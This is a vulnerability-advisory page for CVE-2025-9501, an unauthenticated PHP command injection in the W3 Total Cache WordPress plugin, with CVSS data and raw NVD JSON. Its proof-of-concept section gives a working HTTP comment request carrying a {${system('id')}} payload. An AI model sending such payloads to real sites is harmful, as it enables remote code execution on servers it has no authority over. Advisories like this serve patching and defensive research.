Security Vulnerability Report
中文
CVE-2025-9501 CVSS 9.0 CRITICAL

CVE-2025-9501

Published: 2025-11-17 06:15:45
Last Modified: 2026-04-15 00:35:42

Description

The W3 Total Cache WordPress plugin before 2.8.13 is vulnerable to command injection via the _parse_dynamic_mfunc function, allowing unauthenticated users to execute PHP commands by submitting a comment with a malicious payload to a post.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

W3 Total Cache < 2.8.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
POST /wp-comments-post.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded comment={${system('id')}}&comment_post_ID=1

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9501", "sourceIdentifier": "[email protected]", "published": "2025-11-17T06:15:45.093", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The W3 Total Cache WordPress plugin before 2.8.13 is vulnerable to command injection via the _parse_dynamic_mfunc function, allowing unauthenticated users to execute PHP commands by submitting a comment with a malicious payload to a post."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "references": [{"url": "https://wpscan.com/vulnerability/6697a2c9-63ae-42f0-8931-f2e5d67d45ae/", "source": "[email protected]"}]}}